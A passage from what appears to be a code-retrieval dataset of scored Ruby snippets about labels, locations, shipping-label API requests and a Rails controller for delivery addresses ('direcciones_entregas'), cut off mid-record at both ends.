'f4b8e9e3-831b-44eb-aafe-20f583c555a1', bd_code: 'K'},\n # { name: 'Mann', id: '872beba0-1bdf-4870-95f3-8781baddc02e', bd_code: 'C'},\n # { name: 'Math', id: 'd6756e21-b828-4a0f-9346-2a10633c3b7a', bd_code: 'J'},\n # { name: 'Music', id: '1eb3510f-c403-44bf-b3ce-cf693b20ba56', bd_code: 'L'},\n # # { name: 'Nestlé', id: '8e4f5d73-2f77-4906-8d6a-329fc79c5994', bd_code: 'L'},\n # # { name: 'Olin', id: '760beccd-362d-45b6-bfae-639565a877f2', bd_code: 'D'},\n # # { name: 'Ornithology Circulation Desk', id: 'debc685c-e905-48d3-9571-bff4742e7249', bd_code: 'M'},\n # #{ name: 'Uris Clock Tower', id: 'cce94bc5-bb31-4054-96d2-260ba832ef2a'}\n # ]\n end", "title": "" }, { "docid": "be3bd24b4ca72bb503c9838c0216cfaf", "score": "0.50730103", "text": "def find_labels\n @input.each_with_index do |line, i|\n if line.label?(i)\n label = line.split(\":\")[0]\n if !@labels.include?(label)\n @labels[label] = [*@instructions.each_with_index].search{|x, _| x >= i}.last\n else\n Error::message(7, i+1, line) \n end\n end\n end\n end", "title": "" }, { "docid": "248a63263b42f9878e8c5a510b9ad51c", "score": "0.5046355", "text": "def location_info(location = locations.first)\n if location\n location.full_location\n else\n []\n end\n end", "title": "" }, { "docid": "2e136d52815ea4e4851d5821bc1fc442", "score": "0.5031412", "text": "def labels() = @labels ||= labels_hash", "title": "" }, { "docid": "0cc85b0b2d1b1bc4db51c8caaa450c34", "score": "0.49880365", "text": "def location\n if questioning.question.qtype_name == 'location' && !value.blank?\n value.split(' ')\n else\n nil\n end\n end", "title": "" }, { "docid": "32f67fe3d8d76bd4055c6d94dbee37fd", "score": "0.49772793", "text": "def labels\n [label()]\n end", "title": "" }, { "docid": "33db488a41e94124faf33a46a3969f7f", "score": "0.49710962", "text": "def to_s\n labels_address_params % [\"should subclass\"]\n end", "title": "" }, { "docid": "d3b96f2edb518693b33f1e63978bd13d", "score": "0.4968926", "text": "def list\n # list possible locations \n\n @location_suggest = get_location_suggest\n\n if params[:location]\n locations = WoeidHelper.search_by_name params[:location]\n if not locations.nil? and locations.count == 1\n set_location locations[0]\n else\n @location_asked = locations\n end\n end\n end", "title": "" }, { "docid": "b303a82d5395a828caa360d232c53824", "score": "0.4966051", "text": "def labels; end", "title": "" }, { "docid": "a6d965c727ad3be3a0f8007eca028d6e", "score": "0.4963256", "text": "def based_near\n descMetadata.has_location #.map(&:location_name).flatten\n end", "title": "" }, { "docid": "1e0348f5e59573cc681c65ef6ec1b31f", "score": "0.49578118", "text": "def location_detail\n\t\t[self.city, self.state, self.country].compact.join(\", \")\n\tend", "title": "" }, { "docid": "697749a8934eda204274763f201be358", "score": "0.49188575", "text": "def rdf_label\n @label = super\n @label = Array(\"#{@label.first} County\") if us_county? && no_county_label\n\n unless valid_label\n return @label if top_level_element?\n\n @label = @label.first\n parent_hierarchy.each do |p|\n @label = \"#{@label.strip}, #{p.first.rdf_label.first}\"\n end\n end\n Array(@label)\n end", "title": "" }, { "docid": "5385b37272f8530ad510e05051eabf9a", "score": "0.49176157", "text": "def locations\n locations = Occi::Core::Locations.new\n\n all(params[:entity]).each do |bt|\n bt_ids = backend_proxy_for(bt).identifiers\n locations_from(bt_ids, bt, locations)\n end\n return if locations.empty?\n\n respond_with locations\n end", "title": "" }, { "docid": "755073d28fdbbc290d3357fcb9000d38", "score": "0.49113733", "text": "def data_labels\n return @data_labels\n end", "title": "" }, { "docid": "64fe9b73740729ee1e52da01b97279a1", "score": "0.4853594", "text": "def location_s\n # Order matters.\n [\n location[:address],\n location[:city],\n location[:state_acronym],\n location[:country]\n ].compact.join(\", \")\n end", "title": "" }, { "docid": "9ffa81bf32b54a59144f86c3dbe78cf6", "score": "0.48315787", "text": "def locations\n @client.get('/BikePoint')\n end", "title": "" }, { "docid": "a2aa6022b4b00c13bc671a9bae57dba1", "score": "0.48282215", "text": "def catch_all_label\n return nil unless catch_all\n\n if catch_all.is_a? String\n \"#{catch_all.upcase}...\"\n elsif catch_all.is_a?(Hash) and catch_all['label'].is_a?(String)\n \"#{catch_all['label'].upcase}...\"\n else\n \"...\"\n end\n end", "title": "" }, { "docid": "55522e22dad6cf7a32f04d4e588e2e9d", "score": "0.4827436", "text": "def value_to_lookup value\n return nil unless value.present?\n value.is_a?(Array) ? value.join(VALUE_JOINT) : value.to_s\n end", "title": "" }, { "docid": "a49d2ec42371b1413b8e3f5f6c4f1e4e", "score": "0.4819701", "text": "def vi_locations_list\n payload[:vi_locations].nil? ? nil : payload[:vi_locations]\n end", "title": "" }, { "docid": "3dc276ec5c56588b75d8c41a4b6217fc", "score": "0.4807499", "text": "def locations\n get('locations')\n end", "title": "" }, { "docid": "56d082cf3d5dfff7af9f6f600f2c0301", "score": "0.47990096", "text": "def labels\n @labels ||=\n search('label').map { |node| Label.new(node, self) }\n end", "title": "" }, { "docid": "56d082cf3d5dfff7af9f6f600f2c0301", "score": "0.47990096", "text": "def labels\n @labels ||=\n search('label').map { |node| Label.new(node, self) }\n end", "title": "" }, { "docid": "2f80495153c64153d632f50a4d32c0be", "score": "0.47968543", "text": "def ask_for_labels domain, question, default_labels, forbidden_labels=[]\n default_labels = Set.new default_labels\n default_labels -= @context.labels.reserved_labels\n default = default_labels.sort.map { |x| x + \" \" }.join\n\n forbidden_labels = Set.new forbidden_labels\n autocomplete_labels = (@context.labels.user_mutable_labels - forbidden_labels).sort\n answer = ask_many_with_completions domain, question, autocomplete_labels, default\n\n return unless answer\n\n user_labels = Set.new answer.split(/\\s+/)\n\n user_labels.each do |l|\n if @context.labels.reserved_labels.include?(l)\n @context.screen.minibuf.flash \"'#{l}' is a reserved label!\"\n return\n elsif forbidden_labels.include?(l)\n @context.screen.minibuf.flash \"'#{l}' cannot be applied in this context!\"\n return\n end\n end\n\n user_labels\n end", "title": "" }, { "docid": "547d743e68e5c4014566008f3ca32946", "score": "0.47849974", "text": "def labels_to_add\n if params[:add_labels].nil? || !params[:add_labels].is_a?(Array) || params[:add_labels].uniq.compact.empty?\n @labels_to_add ||= []\n end\n\n @labels_to_add ||= params[:add_labels].uniq.compact\n end", "title": "" }, { "docid": "ffa3202af2772194793cd198c195331b", "score": "0.47834828", "text": "def locations\n locations_params = Hashie::Mash.new( {f: params.f} )\n response = make_request(LOCATIONS_BASE, locations_params)\n return not_available (response) unless response.status == 200\n response_body = Hashie::Mash.new(JSON.parse(response.body))\n response_body.data\n end", "title": "" }, { "docid": "3b6554e9504a64ae4fd79d3289146f11", "score": "0.47780272", "text": "def found_labels\n found = get(\"title\").scan(/\\[(.*?)\\]/).map { |label_arr|\n label = label_arr[0].downcase\n label.to_sym\n }.select{ |label|\n LABEL_MAP.keys.include? label\n }\n end", "title": "" }, { "docid": "a2ba47ca91dee2f2ee23e384a7449c75", "score": "0.4772573", "text": "def validate_labels\n return if labels.nil?\n # validate states\n if region.to_s == \"usa\"\n invalids = labels - Map.us_state_codes\n unless invalids.size == 0\n raise DataFormatError,\n \"Invalid state code(s): #{invalids.join(', ')}\"\n end\n # validate countries\n else\n invalids = labels - Map.country_codes\n unless invalids.size == 0\n raise DataFormatError,\n \"Invalid country code(s): #{invalids.join(', ')}\"\n end\n end\n end", "title": "" }, { "docid": "cdef946a7bf0c97902326ed1a037ebfc", "score": "0.47721142", "text": "def print_labels\n list = @data.display_list\n # select addresses that need labels\n label_data = list.select {|address_entry| address_entry.make_label }\n\n values = { \n 'labels' => label_data.map {|address| address.add_to_hash({}) }\n }\n report_path = print_report(values, Reports::SHIPPING_LABELS)\n end", "title": "" }, { "docid": "002be22e264f0bba4ff248e076eae2ab", "score": "0.47694105", "text": "def location_name\n LOCATIONS[location.to_s]\n end", "title": "" }, { "docid": "002be22e264f0bba4ff248e076eae2ab", "score": "0.47694105", "text": "def location_name\n LOCATIONS[location.to_s]\n end", "title": "" }, { "docid": "002be22e264f0bba4ff248e076eae2ab", "score": "0.47694105", "text": "def location_name\n LOCATIONS[location.to_s]\n end", "title": "" }, { "docid": "002be22e264f0bba4ff248e076eae2ab", "score": "0.47694105", "text": "def location_name\n LOCATIONS[location.to_s]\n end", "title": "" }, { "docid": "8e3a7f5964bbbf6591c4108b8e3f6eb9", "score": "0.47683844", "text": "def location_description\n LOCATION_DESCRIPTION\n end", "title": "" }, { "docid": "a4dd81de4f2e20d779cdbc00e4393f7b", "score": "0.47637394", "text": "def get_package_labels(shipment_id, page_type, opts = {})\n operation('GetPackageLabels')\n .add(opts)\n .add('ShipmentId' => shipment_id, 'PageType' => page_type)\n\n run\n end", "title": "" }, { "docid": "9e2bd897a46fe196389a64023aa53d23", "score": "0.47633448", "text": "def location_detail\n [self.city, self.state].join(\", \")\n end", "title": "" }, { "docid": "c3e1ba27ebf169b45bed3a1c63c357e7", "score": "0.47508556", "text": "def get_label_in_scope(t,l)\n @lang_ = get_default_label(l)\n languages = t.counterplayers(:atype => @base_locator+\"/association/scoping\", :rtype=>@base_locator+\"/types/named_topic_type\", :otype => @base_locator+\"/types/language\" )\n labels = t.counterplayers(:atype => @base_locator+\"/association/scoping\", :rtype=>@base_locator+\"/types/named_topic_type\", :otype => @base_locator+\"/types/displaylabel\" )\n namedlabels = languages.zip(labels)\n namedlabel = get_default_label(t)\n for label in namedlabels\n if get_default_label(label[0]).include?(@lang_)\n namedlabel = get_default_label(label[1])\n break\n end\n end\n return namedlabel;\n end", "title": "" }, { "docid": "eb596b656cdef92609cb4e27de068ef3", "score": "0.47427332", "text": "def domain_name_label\n label = nil\n entries.each do |entry|\n entry.ip_configurations.each do |ip_config|\n if ip_config['public_ipaddress']['attached']\n label = ip_config['public_ipaddress']['domain_name_label']\n end\n end\n end\n\n label\n end", "title": "" }, { "docid": "08d84c1ca96043f3730e0c279551246a", "score": "0.4741192", "text": "def labels\n @labels ||= parser.labels\n end", "title": "" }, { "docid": "061ce83425fa5689581638801b2942d9", "score": "0.47323415", "text": "def print_shipping_labels(shipment_info, style: 1, start_position: 1, num_labels: 4, debug: false)\n request = FriendlyShipping::Request.new(\n url: API_BASE + API_PATHS[:print_shipping_labels] + \"?\" \\\n \"ProNumber=#{shipment_info.pro_number}&\" \\\n \"Style=#{style}&\" \\\n \"StartPosition=#{start_position}&\" \\\n \"NumberOfLabels=#{num_labels}\",\n http_method: \"GET\",\n headers: request_headers,\n debug: debug\n )\n client.get(request).bind do |response|\n ParsePrintShippingLabelsResponse.call(request: request, response: response).bind do |api_result|\n shipment_info.documents << api_result.data\n Success(api_result)\n end\n end\n end", "title": "" }, { "docid": "ae06b2cf3f88249b1a78fb50cd74fde6", "score": "0.4728793", "text": "def locations; end", "title": "" }, { "docid": "50ef62ce6212451e9f8db4aa444ee55a", "score": "0.47194394", "text": "def pickup_location_data\n unless defined? @pickup_location_data\n @pickup_location_data = response_hash[\"PickupLocation\"] && response_hash[\"PickupLocation\"].collect do |hash|\n BorrowDirect::PickupLocation.new(hash)\n end\n end\n return @pickup_location_data\n end", "title": "" }, { "docid": "bcac5abf53d5902e2292f73e448f5627", "score": "0.47162202", "text": "def method_missing(method_name, *args)\n if m = method_name.to_s.match(/\\A(\\w+)_(label|Label)\\Z/)\n customer_label(m[1], :titleize => m[2] == \"Label\")\n elsif respond_to?(method_name)\n try(method_name.to_s, *args)\n else\n super(method_name, *args)\n end\n end", "title": "" }, { "docid": "760858e1cc15acff3028d759566280b9", "score": "0.47147986", "text": "def map_locs\n itineraries.collect(&:location)\n end", "title": "" }, { "docid": "97dcb6b8ae18813099b7354b0c11d497", "score": "0.471309", "text": "def label\n raise 'answer the list label'\n end", "title": "" }, { "docid": "751f155761963a04a10fb5cd9d64f28e", "score": "0.470606", "text": "def labels\n chain_route(:pipe_class => com.tinkerpop.pipes.transform.LabelPipe,\n :route_name => 'labels',\n :element_type => :object)\n end", "title": "" }, { "docid": "8dfe25669d96e0a26c054ff5c04af746", "score": "0.47059065", "text": "def location\n { latLng: [lat, lng], name: name, status: name.downcase.to_s }\n end", "title": "" }, { "docid": "df1ed83496c1dbe98f4ca315a7092b85", "score": "0.46908134", "text": "def rdf_label\n labels = Array.wrap(self.class.rdf_label)\n labels += default_labels\n labels.each do |label|\n values = get_values(label)\n return values unless values.empty?\n end\n node? ? [] : [rdf_subject.to_s]\n end", "title": "" }, { "docid": "73d319dab9e3aec44ac3b3de2a831dbb", "score": "0.4687114", "text": "def co_address\n [location,city,state,\"nigeria\"].compact.join(',')\n end", "title": "" }, { "docid": "d223e5245fdf57e95fa81887f32123dc", "score": "0.46828073", "text": "def resolve_labels(g)\n g.map! { |a|\n # if input was foo|bar...|baz, where ... is wildcard, a looks like [\"foo/B\",\"bar.../AB\",\"baz\"]\n aa = [] # new version of a with labels and wildcards resolved\n a.each { |b|\n parts = ''\n if b=~/(.*)\\/(.*)/ then\n b,parts = [$1,$2]\n end\n aa = aa + label_to_list(b,parts) # label_to_list can return a list with >1 element if there's a wildcard, 0 elts if no match\n }\n if aa.length==0 then\n aa = [[-1,'','']]\n end # later code assumes not empty list\n aa\n }\n return g\nend", "title": "" }, { "docid": "400e174515ec2c0316ebec21820aaacc", "score": "0.46757212", "text": "def location\n [city, state, zip_code].join(\" \")\n end", "title": "" }, { "docid": "400e174515ec2c0316ebec21820aaacc", "score": "0.46757212", "text": "def location\n [city, state, zip_code].join(\" \")\n end", "title": "" }, { "docid": "400e174515ec2c0316ebec21820aaacc", "score": "0.46757212", "text": "def location\n [city, state, zip_code].join(\" \")\n end", "title": "" }, { "docid": "6e663dc88517438ab76484f4f1860d31", "score": "0.46740323", "text": "def location\n if [latitude, longitude].all?(&:present?)\n [latitude, longitude]\n end\n end", "title": "" }, { "docid": "296497e08baee7cc2fc548b11f12b0d7", "score": "0.4673932", "text": "def set_labels request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_set_labels_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "a8d062db011f3b5d79b0e898eea25590", "score": "0.46700788", "text": "def test_get_labels\n test_url = \"https://test.panel.olzalogistic.com/api/v1\"\n test_login = 'your test login'\n test_pwd = 'your test password'\n test_language = 'cs'\n\n data = {payload: {shipmentList: [123456]}} # use real Shipment ID\n\n client = OlzaApi::Client.new(test_login, test_pwd, test_url, test_language)\n response = client.get_labels(data)\n\n assert_instance_of Hash, response\n end", "title": "" }, { "docid": "0338c7be95d044fd02e74393e4f8c0c8", "score": "0.46693784", "text": "def label\n @params['label']\n end", "title": "" }, { "docid": "8e0cceb60711f423a6a5e3d06d11aa84", "score": "0.46675375", "text": "def rdf_label\n label = super\n unless parentFeature.empty? or RDF::URI(label.first).valid?\n #TODO: Identify more featureCodes that should cause us to terminate the sequence\n return label if top_level_element?\n\n parent_label = (parentFeature.first.kind_of? ActiveTriples::Resource) ? parentFeature.first.rdf_label.first : []\n return label if parent_label.empty? or RDF::URI(parent_label).valid? or parent_label.starts_with? '_:'\n label = \"#{label.first} >> #{parent_label}\"\n end\n Array(label)\n end", "title": "" }, { "docid": "7d54ff78b82b048cb27d540b8daaa54e", "score": "0.4663865", "text": "def label\n @label || \"unknown\"\n end", "title": "" }, { "docid": "7e5c74263ae42594510042def7e6485b", "score": "0.4660771", "text": "def location\n return [city, state, zip_code].join(\" \")\n end", "title": "" }, { "docid": "362913c96e10cc89b13e53258cc4ed8d", "score": "0.46583351", "text": "def label(labelname)\n read_labels\n return [nil, nil, nil] if @label.size < 1 || !@label.key?(labelname)\n [\n @label[labelname][1].to_i,\n ::Roo::Utils.letter_to_number(@label[labelname][2]),\n @label[labelname][0]\n ]\n end", "title": "" }, { "docid": "641bf56d071214e71754e9eb8414d527", "score": "0.46540436", "text": "def get_locations(user_entered_location)\n if user_entered_location.include? \"Arat kilo\"\n user_entered_location = \"4 Kilo\"\n end\n location = user_entered_location.to_s + \" Addis Ababa Ethiopia\"\n location = location.gsub!(\" \", \"+\")\n @google_locations = HTTParty.get(URI::encode(API_BASE_URL + location.to_s + APP_KEY))\n #Get Results from Google\n @result = Array.new\n @google_location_names = Array.new\n @google_locations['results'].each do |google_location|\n if(google_location['address_components'][0]['long_name'] != \"Addis Ababa\")\n location = Hash.new\n location['name'] = google_location['address_components'][0]['long_name']\n location['lat'] = google_location['geometry']['location']['lat']\n location['long'] = google_location['geometry']['location']['lng']\n @google_location_names.push(location['name'])\n @result.push(location)\n end\n end\n #Get Results from system\n @sys_locations = Location.where(\"location_name Like '%#{user_entered_location}%'\")\n @sys_locations.each do |sys_location|\n if(! @google_location_names.include? sys_location.location_name)\n location = Hash.new\n location['name'] = sys_location.location_name\n location['lat'] = sys_location.latitude\n location['long'] = sys_location.longitude\n @result.push(location)\n end\n end\n return @result\n end", "title": "" }, { "docid": "769c8ca4399ac467d88416c9478dabcb", "score": "0.46521023", "text": "def get_labels_list()\n labels_list = []\n DATA[CARDS][$card_index][LABELS].each_index do |item|\n labels_list.push(DATA[CARDS][$card_index][LABELS][item][COLOR] + \"-\" + DATA[CARDS][$card_index][LABELS][item][NAME])\n end\n labels_list = labels_list.join(',')\n labels_list\nend", "title": "" }, { "docid": "384d9d5a77bce4814dba5ff9e5e3cd1d", "score": "0.46472502", "text": "def labeled\n @labeled ||= ImageLabel.where(:image_id => self.id).where.not(:label_id => nil).map{ |il| il.label }\n end", "title": "" }, { "docid": "922cc4a215c1c0efd59e6f57b796d1dd", "score": "0.46401796", "text": "def find_labels\n labels = {}\n\n govDeps = @parsed_sentence.typedDependencies.to_a\n # identify its corresponding position in govDep and fetch its label\n govDeps.each_with_index do |govDep|\n token = govDep.dep().to_s.split(\"/\").first\n labels[token] = govDep.reln.getShortName()\n end\n\n labels\n end", "title": "" }, { "docid": "f09a50a3604ca25e69c92858ea48568b", "score": "0.463566", "text": "def label\n namestr = @name == '' ? '' : \", #{@name}\"\n \"#{@province.name}#{namestr}\"\n end", "title": "" }, { "docid": "2241e3907fd71b50a830f6007a255992", "score": "0.46331963", "text": "def show_by_label\n objid = params[:label]\n obj = PickupLocation.find_by_label(objid)\n if obj\n render json: {pickup_location: obj}, status: 200\n else\n render json: {}, status: 404\n end\n rescue => error\n render json: {}, status: 500\n end", "title": "" }, { "docid": "1477c10b062799dd8c1b7630f8b21d95", "score": "0.46313038", "text": "def build_label_request(origin, destination, package, options={})\n # @required = :origin_account, \n # @destination += [:phone, :email, :company, :address, :city, :state, :zip]\n # @shipper += [:sender_phone, :sender_email, :sender_company, :sender_address, :sender_city, :sender_state, :sender_zip ]\n missing_required = Array.new\n errors = Array.new\n\n # domestic = (origin.country_code(:alpha2) == 'US' and destination.country_code(:alpha2) == 'US') ? true : false\n domestic = US_SERVICES[options[:service_type]]\n\n # pickup_date = options[:pickup_date] ? Date.parse(options[:pickup_date]).strftime(\"%Y%m%d\") : Time.now.strftime(\"%Y%m%d\")\n\n if options[:test] and (options[:test] === true or (options[:test].is_a? String and options[:test].downcase == 'true'))\n test = 'YES'\n else \n test = 'NO'\n end\n\n # FIXME: this format doesn't seem to work for domestic\n xml_request = XmlNode.new('LabelRequest', :LabelType => (domestic ? \"Default\" : \"International\"), :Test => test, :ImageFormat => (options[:image_type] || 'GIF')) do |root_node|\n \t# Account stuff\n root_node << XmlNode.new('LabelSubtype', \"Integrated\") unless domestic\n root_node << XmlNode.new('AccountID', options[:account_id])\n root_node << XmlNode.new('RequesterID', options[:requester_id])\n root_node << XmlNode.new('PassPhrase', options[:password])\n\n # Order level stuff\n root_node << XmlNode.new('PartnerTransactionID', options[:transaction_id])\n root_node << XmlNode.new('PartnerCustomerID', options[:customer_id])\n root_node << XmlNode.new('MailClass', SERVICES[options[:service_type]] || 'First')\n\n # From\n for field in %w[city zip address1]\n missing_required << \"ShipFrom #{field}\" if origin.send(field).blank?\n end\n if domestic and origin.state.blank?\n missing_required << \"ShipFrom state\"\n end\n origin_country = COUNTRY_NAME_CONVERSIONS[origin.country.code(:alpha2).value] || origin.country.name\n root_node << XmlNode.new('FromName', origin.name)\n root_node << XmlNode.new('FromCity', origin.city)\n root_node << XmlNode.new('FromState', origin.state)\n root_node << XmlNode.new('FromPostalCode', origin.zip) # TODO: Strip this zip for domestic?\n root_node << XmlNode.new('FromCompany', origin.company)\n root_node << XmlNode.new('FromPhone', origin.phone)\n root_node << XmlNode.new('FromEmail', origin.email)\n root_node << XmlNode.new('ReturnAddress1', origin.address1)\n root_node << XmlNode.new('ReturnAddress2', origin.address2) unless origin.address2.blank? \n root_node << XmlNode.new('ReturnAddress3', origin.address3) unless origin.address3.blank?\n root_node << XmlNode.new('FromCountry', origin_country) unless destination.country_code(:alpha2) == 'US'\n\n # To\n for field in %w[city zip address1]\n missing_required << \"ShipTo #{field}\" if destination.send(field).blank?\n end\n if domestic and destination.state.blank?\n missing_required << \"ShipTo state\"\n end\n destination_country = COUNTRY_NAME_CONVERSIONS[destination.country.code(:alpha2).value] || destination.country.name\n root_node << XmlNode.new('ToName', destination.name)\n root_node << XmlNode.new('ToCity', destination.city)\n root_node << XmlNode.new('ToState', destination.state)\n root_node << XmlNode.new('ToPostalCode', destination.zip) # TODO: Strip this zip for domestic?\n root_node << XmlNode.new('ToCompany', destination.company)\n root_node << XmlNode.new('ToPhone', destination.phone)\n root_node << XmlNode.new('ToEmail', destination.email)\n root_node << XmlNode.new('ToAddress1', destination.address1)\n root_node << XmlNode.new('ToAddress2', destination.address2) unless destination.address2.blank? \n root_node << XmlNode.new('ToAddress3', destination.address3) unless destination.address3.blank?\n root_node << XmlNode.new('ToCountryCode', destination.country_code(:alpha2)) unless destination.country_code(:alpha2) == 'US'\n root_node << XmlNode.new('ToCountry', destination_country) unless destination.country_code(:alpha2) == 'US'\n\n # Package stuff\n root_node << XmlNode.new('WeightOz', package.oz.to_i.to_s)\n root_node << XmlNode.new('Value', package.value)\n root_node << XmlNode.new('MailpieceShape', package.shape || 'PARCEL')\n\n # Customs stuff\n if !domestic and options[:customs_info]\n customs_info = options[:customs_info]\n\t\t\t\t\troot_node << XmlNode.new('IntegratedFormType', customs_info.usps_form_type)\n\t\t\t\t\troot_node << XmlNode.new('CustomsCertify', customs_info.certify.to_s.upcase)\n\t\t\t\t\troot_node << XmlNode.new('CustomsSigner', customs_info.signer) unless customs_info.signer.blank?\n\t\t\t\t\troot_node << XmlNode.new('CustomsInfo') do |customs|\n\t\t\t\t\t\tcustoms << XmlNode.new('ContentsType', customs_info.contents_type)\n\t\t\t\t\t\tif customs_info.customs_items and customs_info.customs_items.length > 0\n\t\t\t\t\t\t\tcustoms << XmlNode.new('CustomsItems') do |customs_items|\n\t\t\t\t\t\t\t\tfor item in customs_info.customs_items\n\t\t\t\t\t\t\t\t\tcustoms_items << XmlNode.new('CustomsItem') do |customs_item|\n\t\t\t\t\t\t\t\t\t\tcustoms_item << XmlNode.new('Quantity', item.quantity)\n\t\t\t\t\t\t\t\t\t\tcustoms_item << XmlNode.new('Value', item.value)\n\t\t\t\t\t\t\t\t\t\tcustoms_item << XmlNode.new('Weight', item.weight)\n\t\t\t\t\t\t\t\t\t\tcustoms_item << XmlNode.new('Description', item.description[0..49])\n\t\t\t\t\t\t\t\t\t\tcustoms_item << XmlNode.new('CountryOfOrigin', origin.country_code(:alpha2))\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n end\n\n # Services: Signature, Insurance, Delivery Confirmation\n if options[:insurance] or options[:delivery_confirmation] or options[:signature_required] or options[:adult_signature_required]\n root_node << XmlNode.new(\"Services\", :DeliveryConfirmation => (options[:delivery_confirmation] ? \"ON\" : \"OFF\"), :SignatureConfirmation => (options[:signature_required] ? \"ON\" : \"OFF\"), :AdultSignature => (options[:adult_signature_required] ? \"ON\" : \"OFF\"), :InsuredMail => (options[:insurance] ? \"Endicia\" : \"OFF\"))\n\n if options[:insurance] and !package.value.blank? and package.value > 0.0\n root_node << XmlNode.new(\"InsuredValue\", package.value)\n end\n end \n\n end\n # There are a lot of required fields for the label request to work\n # We collect them all in one error, so it doesn't take folks 20 tries to construct a working request\n errors << \"USPS labels require: #{missing_required.join(', ')}\" if missing_required.length > 0\n\n # Now we spit out all of the errors; \n # We don't even want to make the request if we know it won't go through\n raise ArgumentError.new(errors.join('; ')) if errors.length > 0\n\n return \"labelRequestXML=#{xml_request.to_s}\"\n end", "title": "" }, { "docid": "c5ca87b43c537063840f37b2ed69f20b", "score": "0.46286026", "text": "def full_descriptor\n city_country_tz = \"<img src='/images/flags/#{self.country.country_code.downcase}.png' /> #{self.utf8_name}\" # we will search on the ascii name but display the UTF8 one\n \n # if city has a region mapped in the db, print it out\n city_country_tz += \", #{self.region.name}\" if (self.region)\n \n # If the city has a country mapped in the db, print it out\n city_country_tz += \", #{self.country.name}\" if (self.country)\n \n # If the city has a time zone mapped in the db, print it out\n city_country_tz += \" (#{self.time_zone.name})\" if (self.time_zone) \n \n # this is a bad hack to make sure the seperator value is include\n # need to figure out how auto-complete can append this once a selection is selected\n #city_country_tz += \"; \"\n \n # Return the array\n city_country_tz\n end", "title": "" }, { "docid": "df111cd99b19d815e0ff37fa04a088d5", "score": "0.46224698", "text": "def visionLabels\n @labels = @json[\"responses\"][0][\"labelAnnotations\"]\n @label_descriptions = []\n @label_scores = []\n @labels.each do |label|\n @label_descriptions << label[\"description\"]\n @label_scores << label[\"score\"] * 100\n end\n end", "title": "" }, { "docid": "80221921fd12b88d3463e63136edbc80", "score": "0.46174762", "text": "def labels\n super.map{ |i| i.to_s.upcase } unless super.nil?\n end", "title": "" }, { "docid": "a35dcdd79afb039568a94bf1270b8728", "score": "0.46098757", "text": "def label_columns\n ensure_full_data!\n Array(@gapi_json[:labelColumns]).map do |field_gapi_json|\n field_gapi = Google::Apis::BigqueryV2::StandardSqlField.from_json field_gapi_json.to_json\n StandardSql::Field.from_gapi field_gapi\n end\n end", "title": "" }, { "docid": "9445e6e70e235962d5b4c00dc503f24d", "score": "0.4607947", "text": "def labels(_sheet = nil)\n read_labels\n @label.map do |label|\n [label[0], # name\n [label[1][1].to_i, # row\n ::Roo::Utils.letter_to_number(label[1][2]), # column\n label[1][0], # sheet\n ]]\n end\n end", "title": "" }, { "docid": "d1bf3f973f0b941ad9e6717a70ea3425", "score": "0.46069843", "text": "def fetch_locations\n lambda {\n Mobile::FacilitiesHelper.get_facility_names(user.va_treatment_facility_ids)\n }\n end", "title": "" }, { "docid": "90e177767263f484f0889cbf1e13c769", "score": "0.46066037", "text": "def get_biz_names_addresses_coordinates\n @request_businesses.shift(2).map{|business|{name: business[\"name\"], address: business[\"vicinity\"], latitude: business[\"geometry\"][\"location\"][\"lat\"], longitude: business[\"geometry\"][\"location\"][\"lng\"]}}\n end", "title": "" }, { "docid": "0b5bb1f04c442f5e1ba1c4a2a8ab52e8", "score": "0.45931002", "text": "def location\n # If \"addresses\" was eager loaded; then search for the \"location\" address. Otherwise\n # do a scoped find.\n if addresses.length > 0\n addresses.select {|a| a.label == \"location\"}[0]\n else\n addresses[:location]\n end\n end", "title": "" }, { "docid": "d054f65f6e035736748364d538023a4c", "score": "0.45867383", "text": "def required_markers\n @required_ua_markers ||= Radiant.config['mobile.ua.required'].split(/,\\s*/)\n end", "title": "" } ]
606860a75d7723e872a02d27d68ca5ac
POST /direcciones_entregas POST /direcciones_entregas.json
[ { "docid": "12ed06e318f1cad60cffe65d52d2e96c", "score": "0.7250206", "text": "def create\n @direcciones_entrega = current_user.direcciones_entregas.build(direcciones_entrega_params)\n\n respond_to do |format|\n if @direcciones_entrega.save\n format.html { redirect_to @direcciones_entrega, notice: 'Direcciones entrega was successfully created.' }\n format.json { render :show, status: :created, location: @direcciones_entrega }\n else\n format.html { render :new }\n format.json { render json: @direcciones_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "e0eb0eacb8ce344af82d72d1bc3474d1", "score": "0.666747", "text": "def direcciones_entrega_params\n params.require(:direcciones_entrega).permit(:estado, :municipio, :colonia, :numero, :cp, :telefono, :notas, :user_id)\n end", "title": "" }, { "docid": "2a71a96c412440bbc66d7e9ee1399c8b", "score": "0.65540963", "text": "def create\n @diretorio = Diretorio.new(diretorio_params)\n if @diretorio.save\n render json: @diretorio\n else\n render json: @diretorio.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b586309fc8ef6f23a73e89f02bdd2b8f", "score": "0.6542502", "text": "def set_direcciones_entrega\n @direcciones_entrega = DireccionesEntrega.find(params[:id])\n end", "title": "" }, { "docid": "ff12be4b35aa46c0e1139f2d2588ec63", "score": "0.65021265", "text": "def create\n\n respond_to do |format|\n if @direccion.save\n format.html { redirect_to @direccion, notice: 'Direccion creada exitosamente.' }\n format.json { render :show, status: :created, location: @direccion }\n else\n format.html { render :new }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "980e482d81238088b757487b3908c191", "score": "0.6241392", "text": "def create\n\t\t@direccion = Direccion.new(params[:direccion])\n\n\t\trespond_to do |format|\n\t\t\t@direccion.personas_id=session[:id]\n\t\t\tif @direccion.save\n\t\t\t NUESTRO_LOG.info \"Se guardo la direccion correctamente\"\n\t\t\t\tformat.html { redirect_to(@direccion, :notice => t('direccioncreada')) 